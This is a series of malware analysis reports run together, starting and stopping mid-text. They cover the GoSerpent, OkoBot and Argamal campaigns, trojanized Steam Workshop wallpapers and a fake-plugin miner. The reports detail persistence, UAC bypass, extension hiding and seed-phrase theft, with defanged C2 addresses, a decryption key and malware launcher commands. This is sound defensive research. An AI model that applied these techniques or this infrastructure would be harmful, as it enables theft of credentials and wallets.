It then checks for the existence of this configuration file. If the file doesnβt exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.
Toolset integration
What distinguishes this threat actorβs approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:
ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.
This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.
Infrastructure
The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actorβs deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.
Attribution
While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.
Conclusion
The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actorβs use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actorβs focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.
In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more thanβ―20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.
Kasperskyβs products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.
Background
TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in Marchβ―2025. At that time, malicious scripts delivered a Pythonβbased infostealer along with a script that installed and configured an SSH tunnel on the victimβs machine. The next wave appeared in Aprilβ―2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.
Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.
We dubbed this updated TookPS campaign βOkoBotβ.
Original OkoBot infection chain
We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in Marchβ―2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher β extl injector β Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.
New OkoBot infection chain
Initial infection
The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate AudacityΒ β a popular audio editorΒ β compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned usersβ trust.
Malicious application distribution report
This repository was created at the end of Marchβ―2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoftβs documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.
Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victimβs system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.
Back connection
The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victimβs system using the following sequence:
Open firewall ports for inbound RDP traffic
Create a user in the βRemote Desktop Usersβ group
Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour
After that, the SSH bot begins retrieving malicious modules over SFTP.
Launcher with advanced options
One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.
Active sessions
At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a nonβMD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.
Example output of HDUtil enumeration commands
UAC bypass
The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.
Below is the list of all HDUtil commands.
Command
Description
target [nouac [user=<user>]] [noattach] <file>
Starts file and prints its output.
If optional argument noattach passed, command to be executed in background.
If optional argument nouac passed, automatic UAC bypass to be performed.
If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen.
pcopy <file> <dir_src> <dir_dst>
Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot.
enumadapters
Prints names of graphical adapters on current system. Not used by SSH bot.
enumsessions
Prints all sessions on current system. Not used by SSH bot.
Browser extensions loader
The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromiumβbased browsers, the module invokes a routine that injects a specialized implant.
The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.
Setting up protections on the regions and launching the implant
This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoftβ―Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.
List of the functions hooked by the malware
Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browserβwindow creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized builtβin engine, they are hooked using the attackerβs own implementations while preserving the original functionβs address.
The loader replaces the functions it finds with its own
When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the userβs %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.
During installation, the extension is unpacked into a nonβdefault extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.
Extensions are unpacked into a non-default directory
All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.
The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.
Stub for hiding malicious extensions
During the attack, the Rilide extension was installed on the victimβs system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.
Plugins dispatcher
The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AESβ―GCM, initialized with a static 256βbit key and a 96βbit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in Marchβ―2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.
Decrypting implant using AES GCM and subsequent mapping
The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:
Task index
Action
1
Reconfigure client: update session keys, assign ID, switch to another C2
2
Load DLL implant into memory and run its entry point
3
Load plugin into process and register tasks with RegisterPlugin function
4
Restart dispatcher as new process
x
If the task number is none of the above, search for it among the registered plugins
Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the pluginβs tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.
Resolving a plugin initialization function
During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.
CMD wrapper (10xx): allows running scripts and individual commands in cmd.
PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
Environment enumerator (12xx): gathers system information, active sessions, and processes.
Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.
We identified four malicious implants that are delivered to the system via the process injector plugin.
ext daemon
The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.
SeedHunter
Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.
List of functions hooked by the malware
Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hardβcoded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.
When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.
Phishing pages for seed phrase recovery
The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.
MC Keylogger
This module is a keylogger that, in addition to recording user input, performs three malicious activities:
Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.
Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.
Example of the keylogger log file
OkoSpyware
This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target applicationβs window. It first compiles a list of overβ―100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoinβ―QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recordingβs start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the streamβs MD5 hash, and additional details.
Example of an OkoSpyware metadata file
The malware also monitors the state of browsers, and when the window title matches a specified regular expressionΒ β for instance, a MetaMask or Tonkeeper wallet extension pageΒ β it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.
Artifacts exfiltration
The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victimβs system and a command history file, ConsoleHost_history.txt, is cleared.
Sequential exfiltration of artifacts from the temporary directory
Victims
At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and TΓΌrkiye.
Distribution of users attacked by OkoBot by country, April 2025βJune 2026 (download)
Attribution
At the time of writing, we canβt attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.
It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.
Conclusion
The framework described here has numerous modulesΒ β mostly written in C and C++Β β that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a fullβfledged highβlevel framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.
The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.
Since late 2025, malware has been spreading rapidly through the Steam Workshop, the gaming platformβs built-in service for players to create and share custom content. The attackers are primarily targeting gamers in China and Russia, aiming to hijack their accounts. To pull this off, they are exploiting Wallpaper Engine β a popular live wallpaper app available on Steam β specifically leveraging its Workshop sharing feature. The malware is hidden inside the wallpaper packages users share with one another. Running one of these compromised wallpapers can lead to a stolen Steam account or leave the victimβs system infected with backdoors or crypto miners.
What is Wallpaper Engine?
Wallpaper Engine is an app that allows you to put animated wallpapers on your desktop. Itβs available for both Windows and Android, though our investigation focused strictly on the Windows version. Thanks to a massive Steam community, the app is quite popular, boasting around 100,000 daily active users and nearly a million reviews. It comes with a built-in editor so users can create their own designs, and it supports a few different wallpaper types:
Videos: MP4, WebM, and other common video formats
Scenes: interactive wallpapers built inside the appβs own editor
Web pages: HTML pages powered by JavaScript and CSS, which can also include audio and video elements
Applications: active windows from third-party Windows-compatible software that Wallpaper Engine sets as the userβs desktop background
That last type, application wallpapers, is where things get risky, because these are essentially standalone programs. They can be anything from mini-games you play right on your desktop, to planners, calendars, system monitors, or widgets tracking your CPU or GPU usage.
Application wallpapers: a built-in security risk
The whole concept of βapplication wallpapersβ essentially allows foreign code to be run directly on your computer. Cybercriminals took note of this feature and started embedding malware right into these types of wallpapers. Because Wallpaper Engine relies on Steam Workshop for content sharing, anyone can create a wallpaper and publish it for the community to download and install for free. Naturally, this setup is a magnet for bad actors.
We discovered dozens of these malicious application wallpapers floating around Steam Workshop, and each one had already been downloaded thousands β or even tens of thousands β of times.
When we analyzed them, we caught two different methods the attackers were using to spread their malware:
An archive containing the executable wallpaper alongside the malicious files. This payload usually consisted of compromised EXE files, DLLs, or malicious scripts.
In other cases, attackers threw a curveball by hiding the malware inside a password-protected archive. Either the victim was tricked into typing the password, or a script handled it automatically. The attackers would hide the password in plain sight β either right in the archiveβs name or inside a JSON configuration installed along with other wallpaper files. For all the other variations, the payload triggered automatically when the user selected and applied the wallpaper.
Inside an infected game wallpaper
Main screen of the wallpaper application
On the surface, this wallpaper sample (above) we uncovered in December 2025 looks completely harmless. Once launched, thereβs absolutely nothing to trigger your suspicion. The built-in game boots up flawlessly, runs smoothly, and the desktop controls work exactly as they should. But behind the scenes, a full-blown infection is underway. Within just a few minutes, a user might suddenly realize their Steam account has been hijacked, or find their computer crippled by malware, with their files being encrypted by ransomware or their system performance tanking because of a hidden crypto miner.
How the malware deploys
Once the game wallpaper launches, it drops a backdoor file called Synaptics.exe (part of the DarkKomet malware family) straight into the victimβs system. At the same time, an executable named ._cache_GAME1.exe fires up to boot the actual game, NTRaholic.
But that ._cache_GAME1.exe module is doing double duty. It simultaneously installs a custom version of a system library called AggregatorHost.dll with a payload inside. This modified library has one main objective: track down the Steam app on the computer and hunt for account credentials.
Looking for the Steam app
Next, the modified library hijacks the userβs live Steam session.
Hijacking the Steam session
After that, the compromised AggregatorHost.dll sends all the collected data to a server controlled by the hackers at hxxp://120.48.156[.]17/ey.php. Once the attackers have control of that active session, they can use the victimβs account to upload even more malicious wallpapers to Steam Workshop.
Attribution and victims
The game wallpaper described above is just one flavor of the many variations we uncovered during our research. By weaponizing the application wallpaper feature, bad actors have successfully distributed almost every type of malware under the sun β from popular infostealers and backdoors to crypto miners and botnet loaders.
Because the range of tools being used is so diverse, we suspect this isnβt the work of a single mastermind. Instead, it looks like multiple scattered, independent hacking groups are all jumping on the same trend. Right now, the primary targets are gamers in China. The wallpaper art styles and titles are tailored specifically to them, and the data backs it up: our security systems caught a staggering 89% of the malicious download attempts happening right there. That said, thereβs absolutely nothing stopping these attackers from pivoting and launching a similar campaign in any other part of the world. Russia comes in second place for total downloads at 5.5%, followed by a smattering of other countries and territories: Singapore (1.4%), Hong Kong (0.9%), Germany (0.9%), Vietnam (0.9%), India (0.5%), and Canada (0.5%).
Malicious app wallpaper downloads by region
How to stay safe
Our investigation proves that even trusted platforms like the Steam Workshop arenβt completely safe from malware. In most cases, we caught old, familiar threats such as DarkKomet, the Lumma and Vidar infostealers, and the RenEngine loader. Kaspersky solutions can easily spot and block all of these payloads, no matter how clever the packaging is, thanks to our proactive security layers. Here are some of the specific threat detection verdicts assigned to the objects we discovered during our research:
HEUR:Trojan-PSW.Win32.gen
HEUR:Trojan-PSW.Win32.Python.gen
HEUR:Backdoor.Win32.DarkKomet
Trojan-Dropper.Python.Agent
HEUR:Trojan-Ransom.Win32.Gen.gen
PDM:Trojan.Win32.Generic.
By the time this post went live, the Steam team had already scrubbed the identified malicious wallpapers and links from the platform. However, given how frequently new infected wallpapers keep popping up on the Steam Workshop, you shouldnβt rely on Steam to catch everything. Itβs highly recommended to run an antivirus scan on these types of wallpapers before you actually apply them.
In April 2026, we discovered a new malware campaign targeting players of βhentaiβ games. Once launched, the infected games install a previously unknown malicious implant on the userβs machine. After a few days, the implant downloads and executes a Trojan, resulting in full system compromise and broad remote control capabilities for the attackers. We dubbed this malware family βArgamalβ.
The malware uses COM hijacking to persist on the victimβs machine, replacing the InprocServer32 entry for Windows Color System Calibration Loader DLL. This task is triggered when the user logs in, effectively allowing the malware to run at startup.
Kaspersky solutions detect this threat as Trojan.Win32.Termixia.*, Trojan.Win32.Agent.*, HEUR:Trojan.Win32.Argamal.gen and HEUR:Trojan-Downloader.Win32.Argamal.gen.
Technical details
Background
In April, as part of our ongoing monitoring of telemetry data, we found some suspicious DLLs. Further analysis revealed that various versions of these DLLs have existed since at least 2024.
The DLLs were spawned by different games written using various game engines and programming languages, including RenPy (Python) and RPG Maker MV (JavaScript), among others. However, they all had one thing in common: they were all hentai games. We searched for the distribution sources and found a number of websites hosting game screenshots and download links. These links redirected users to PixelDrain, a free file transfer service.
Adult games catalogue
In addition to these websites, the trojanized games have also been distributed via different torrent trackers, including AniRena.
Malicious game torrent in AniRena
Delivery
Both the dedicated websites and torrents delivered an archive containing the infected game.
Contents of the game archive
This archive contained fully functional, legitimate game files, as well as a modified FFmpeg DLL (SHA1: 42add9475e67a1ccc6a6af94b5475d3defc01b85), that imported the DllGetClassObject function from a file called natives2_blob.bin. Since the game needs ffmpeg.dll to run properly, the library loads as soon as the user starts the game.
Script executor
The natives2_blob.bin (SHA1: edce72f59e4c1d136cd1946af70d334c19df858d) file is a DLL that executes a Base64-encoded PowerShell script when loaded.
The natives2_blob.bin file code
This PowerShell script, which weβll call Stage1, performs basic checks for controlled environments. For example, it checks for the Sandboxie folder in Program Files and Procmon64 in the process list. If all the checks indicate that the process is not running in a controlled environment, it proceeds to establish persistence.
Stage1 sets the MI_V environment variable (and also MI_V2 in the new versions of malware) for the current user to another Base64-encoded PowerShell script, which weβll call Stage2. After that, it sets the InprocServer32 registry key at HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} to a random DLL file name in a random subdirectory of %USER%\AppData\Local, as well as the ShellFolder subkey to another random DLL file name in the same location. Stage1 also creates a scheduled task that will execute three days later. This task executes Stage2 and runs once.
Stage2 is a payload downloader script. It takes previously generated DLL filenames from the registry and downloads an encrypted payload called zaesdl.dat from GitHub using bitsadmin.exe. The downloaded payload is saved in the settings.dat file in the randomly chosen subdirectory of %USER%\AppData\Local. Stage2 decrypts it using AES-CBC with the key zbcd1j9234r670eh and an IV equal to the key. The decrypted payload is then saved in the DLL file specified in the ShellFolder registry subkey.
The decrypted payload is set as InprocServer32 at HKCU\SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}, which is a COM object used by the \Microsoft\Windows\WindowsColorSystem\Calibration Loader scheduled task. This task runs every time a user logs in, allowing the malware to run during every user session.
Before quitting, Stage2 also removes the changes made under the HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} registry key, unsets the MI_V environment variable (and MI_V2 in newer versions), and removes the scheduled task that launched Stage2.
Malicious agent
Early payload versions decrypted themselves using the 0xB0C1D4E9 rolling XOR key, where the decryption key for the i + 1 block is the encrypted content of the i block (each encrypted block being four bytes long). The most recent agent versions donβt do that.
The samples we found had string encryption; they use a simple substitution with a key that corresponds position-by-position to the following alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$./:<>*&~. The decryption process involves finding the position of each symbol of the encrypted strings in the key, and replacing it with the symbol that occupies the same position in the alphabet.
During our investigation, we found the following keys were used:
The payload checks for the presence of the following security solutions using the output of the tasklist command:
Kaspersky
Avast
McAfee
BitDefender
MalwareBytes
+36 other solutions
Security solution detection logic
The payload itself is a RAT with broad functionality. The default C2 server is asper1[.]freeddns[.]org for earlier versions and Winst0[.]kozow[.]com for the latest versions of the payload. Both domains point to 186[.]158.223.35. We also saw another IP address for the first C2 in pDNS records, though we havenβt actually seen it in use. The C2 address can change based on a C2 reply or when certain conditions are met. For example, if the userβs default locale is set to βzh-CNβ, the RAT sets its C2 address to country1[.]ignorelist[.]com. During most of our investigation, this domain pointed to 127[.]0.0.1, but starting April 26, it has been pointing to 186[.]158.223.35 as well.
The payload sends UDP heartbeats to port 57441 of the C2 server. These heartbeats contain information about detected security solutions, system startup time, time since last input activity, architecture info, machine IP address and username.
The C2 may respond to the heartbeat. Based on this response, the payload can perform different actions. Below is the full list of available commands.
Response first byte
Description
0x31
Run DLL on the system
0x57
Send UDP request to the specified address
0x55
Open file or link from the response
0x50
Collect information about the infected system (e.g. process list and architecture)
0x53
Execute command from the response using ShellExecuteW
0x52
Run the file specified in the response using WinExec
0x42
Delete the file specified in the response
0x41
Update C2 domain
0x59
Get new payload: connect to C2 port 63559/UDP, get new DLL and update COM path in the registry
The C2 can also set a flag in the response that will turn on the extended RAT mode. In this mode, the payload communicates with the C2 server using the 3747/tcp port.
TCP communications are encrypted using a simple substitution cipher. Each character is replaced using a fixed mapping defined by the key:
In other words, each character in the ASCII set is replaced by the corresponding character in the key string.
C2 requests and responses are divided into two parts by the first space character. The first part is a command and the second part is usually an argument.
After connecting and before receiving information from the C2, the malware sends metadata about the infected machine using the NOOP command. This metadata includes a run cycle counter, mounted drive metadata, time since the last input activity and data about the display settings.
Based on the C2 command, the malware can execute commands on the infected machine, perform reboot and shutdown actions, control the cursor, take screenshots, compress files into archives, and send files to other specified servers. In short, it can fully control the machine. The full list of commands is as follows:
System control
KILL REBOOT: Reboots the infected system
KILL POWER: Shuts down the infected system
KILL SELF: Same as the QUIT command (described below)
KILL ME: Exits process running the malware
Surveillance
SCREEN / SCREEN9: makes a screenshot, saves it to the ~wra1269.tmp file and sends it to the C2
RUNTASK <command>: creates, runs and deletes task that executes specified command
SKEY <key code>: presses specified key
MOUSE FREEZE: freezes mouse movement
MOUSE <command>: clicks the specified mouse button or sets the cursor position to the specified coordinates
Other delivery methods
During our research, we also observed other delivery methods for the RAT. Instead of patching FFmpeg and downloading the payload from GitHub, the attackers included the main payload as libpython64.dat or another file with a similar name in the lib\py3-windows-x86_64 directory of the game. This .dat file was loaded by one of the libraries used in the game, which was patched for this purpose.
In another case, the threat actor posted their malicious DLL file (payload downloader) on a gaming forum, disguising it as a cheat.
Infrastructure
Our research revealed the following infrastructure was used in this attack.
Domain
IP
First seen
ASN
asper1[.]freeddns[.]org
181[.]116.218.56
September 16, 2024
11664
186[.]158.223.35
July 01, 2025
11664
country1[.]ignorelist[.]com
186[.]158.223.35
September 10, 2025
11664
127[.]0.0.1
November 11, 2025
β
Winst0.kozow[.]com
186[.]158.223.35
April 26, 2026
11664
Victims
According to our telemetry, hundreds of individuals were infected with this malware. The majority of the victims were located in Russia, Brazil, Germany and Vietnam.
Based on the language of the comments in the code, infrastructure data and other facts we assess with medium confidence that the developer of the downloader chain speaks Spanish.
The actor behind this attack uses Spanish in variable names and comments. For example, the Base64-decoded delivery script contains the following lines:
Part of the PowerShell script used in the payload delivery
In addition, the JavaScript code from the website distributing infected games contains variable names, function names and comments in Spanish:
JavaScript code from the malicious site
Notably, the malware payloads used in this attack had previously chosen 127.0.0.1 as their C2 server when the victimβs default locale is set to βzh-CNβ, thus not targeting Chinese users. This may indicate that the attacker is associated with a Chinese-speaking threat actor or uses payloads developed by a Chinese-speaking threat actor. However, we still believe itβs unlikely that the developer of these delivery chains is Chinese-speaking.
Conclusions
The Argamal Trojan is a new RAT targeting individuals who seek adult games. During our analysis, we observed a steady stream of updates to the payload, including the addition of new features and fixes for various bugs, as well as changes to the infrastructure. This leads us to believe that the threat actor behind this malware will continue to develop and enhance it. The campaignβs goal is likely data and credential theft; however, the RAT enables the attacker to take full control of the device and execute any malicious activity they want.
Creating malware in todayβs development landscape has become significantly easier thanks to the wide availability of detailed guides, tooling, and automation resources. As a result, it is crucial not only to detect known malware but also to identify new and evolving threats as they emerge. Kaspersky solutions prevented the malicious activity in the earliest stages of the attack. The solutions help ensure device security by identifying not only known threats but also the behavior of the software and its actions, providing comprehensive protection against malware.
In late April 2026, a client reached out to us for incident response support after discovering a miner running on usersβ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.
Clicking the link downloaded a ZIP archive with the following contents:
The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.
At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.
Link to previous campaigns
